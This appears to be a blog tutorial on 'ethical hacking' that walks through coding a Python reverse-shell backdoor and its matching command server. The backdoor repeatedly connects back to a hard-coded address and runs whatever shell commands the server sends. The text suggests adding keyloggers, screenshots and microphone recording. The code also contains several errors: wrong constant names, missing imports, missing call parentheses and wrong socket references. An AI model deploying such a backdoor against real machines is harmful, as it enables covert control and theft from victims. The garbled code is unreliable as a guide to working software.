A Crash Course on Ethical Hacking – Part 2: Coding a Backdoor

This two-part series covers what I learned from a masterclass I took on ethical hacking. In the first part, I covered what ethical hacking is and took a deep dive into Phases 1 and 2 of one of the main strategies ethical hackers use, penetration testing. In part two, we’ll focus on Phases 3 and 4 of penetration testing and next steps you could take if you would like to further your knowledge of ethical hacking.

Phase 3 – Exploitation/Gaining Access

In the first part of this series I went over two main ways hackers gather information used to exploit a target. The first phase, literally called information gathering, focused on the ‘human’ side of collecting the information. While the second phase, scanning, focused on identifying the ways a machine is vulnerable and how to take advantage of that vulnerability. Phase three uses this information in order to take control of a system. This is called exploitation. Exploitation involves using potential vulnerabilities to send a payload to the target machine.

A payload is code composed of a few commands. This enables the ability to execute commands on the target system and navigate through folders or files. Payloads can be executed through email attachments, when a target downloads a file, through non-executables such as an image file, as well as countless other efforts. After a payload executes, a reverse shell is generated. This allows for the target machine to connect back to the hacker’s machine. We listen to the incoming connection on a certain port, exploit that connection and drop a shell on the target machine.

On the other hand, a bind shell is when the target machine listens for an incoming connection as opposed to the hacker’s machine. In this situation, a firewall can forbid the target machine from opening a port. Reverse shells will always work because the hacker’s machine is listening to the target. This is the same process as connecting to a website.

Brute force and router attacks are other common attacks. Brute force uses trial and error to attempt to guess usernames and passwords. Many home routers still have default passwords and default passwords can be found on the internet.

Phase 4 – Maintaining Access/Covering Your Tracks

Once access we gain access, the next step is installing a backdoor. This allows for us to maintain access. From here files and passwords on the target machine become exposed, keyloggers can be installed, and access to the network can be gained as well as access to other machines on the network. Machines on the same network have more trust between one another.

Coding a Backdoor

Let’s create a backdoor program.

Like in the last article we will first need to import socket and create a socket object. The socket object will take in two parameters: socket.ANF_INET which tells our socket that we will be connecting over IPv4 and socket.socket_STREAM, which tells our socket we will be making a TCP connection.

import socket
sock = socket.socket(socket.AF_INET, socket.sock_STREAM)
connection()

Next, we will create a method to bind the IP address and the port. It doesn’t really matter which port we use. In this function, we create an infinite while loop. The while loop will sleep for 20 seconds, then try to connect to the port specified. If it manages to connect, it will enter the shell function, which has not yet been created. Otherwise, it will call the connection function again and run the function indefinitely until the connection is made.

def connection():
	while True:
		time.sleep(20)
		try:
			sock.connect(('192.168.1.12', 5555))
			shell()
			sock.close
			break
		except:
			connection()

Creating the Server

We will create a server program with a similar setup. Then we have to listen for the incoming connections. To do this, we will pass 5 as the parameter to sock.listen() which tells the method to listen for up to 5 different connections. Then we use the accept method to accept the connection and store the target socket object in the target variable and the IP address in the IP variable.

import socket

sock = socket.socket(socket.AF_INET, socket.sock_STREAM)
sock.bind(('192.168.1.12', 5555))

print('[*] Listening for incoming connections')
sock.listen(5)

target, ip = sock.accept()
print('[*] Target connected from: ', str(ip))

Then we will add a call to target_communication() method which doesn’t yet exist.

target_communication()

The shell() function in the backdoor program will be similar to the target_communication() function in the server program except the backdoor program will receive the command and the server program will send the command. The %s in target communication will be exchanged with a string of the IP address.

server.py
def target_communication():
	while True:
		command = input('* Shell~%s: ' % str(ip))
		reliable_send(command)
		if command == 'quit':
			break
		else:
			# this function will receive the result from the target 
			# after the target runs our command
			result = reliable_recv()
			print(result)
backdoor.py
def shell():
	while True:
		command = reliable_recv()
		if command == 'quit':
			break

In the shell ‘else’ block, we will write the code for executing the command. We will need to import the subprocess. This library allows for the execution of any command sent by the server. Then we will use the Popen() method. This method will take in the command we want to execute. Next we want to store the output of the command and decode it.

else:
	execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
	result = execute.stdout.read() +  execute.stderr.read()
	result = result.decode
	reliable_send(result)

reliable_send() and reliable_recv()

So now we will look at the reliable_send() and reliable_recv() methods. We will need to import the JSON Python library to parse data more easily. In reliable_send(), the parameter will be the data we want to send. We preform jsondumps on the data to parse it and store it in a variable. Then we use the send command from the socket library in order to send that parsed data.

def reliable_send(data):
	jsonData = json.dumps(data)
	target.send(jsonData.encode)

In the reliable_recv() method, we create another infinite while loop. We are going to try to receive the data by using the recv() method from the socket library. This method takes in the number of bytes we want to receive. We receive those bytes and add it to our data, decode the data, and strip it of any additional characters.

def reliable_recv():
	data = ''
	while True:
		try:
			data = data + socket.recv(1024).decode().rstrip()
 			return json.loads(data)
		except ValueError:
			continue

There’s much more you can add to these backdoor programs. Some things you may want to add are a keylogger, elevated privileges, or an option to take a screenshot or record using the microphone.

Next Steps

If you’re interested in expanding your knowledge on this subject, some first steps could be to test on a virtual machine. A VM with the Kali Linux OS installed will give you access to some preinstalled tools used by white-hat hackers. Hack the box is an online cybersecurity platforms, a hacking playground, and has a big online community. Once you got the basics down the next step is to test you skills by doing bug bounties. Bug bounties usually come with monetary rewards to white hart hackers who successfully discover vulnerabilities in applications and report them to the company. Happy hacking!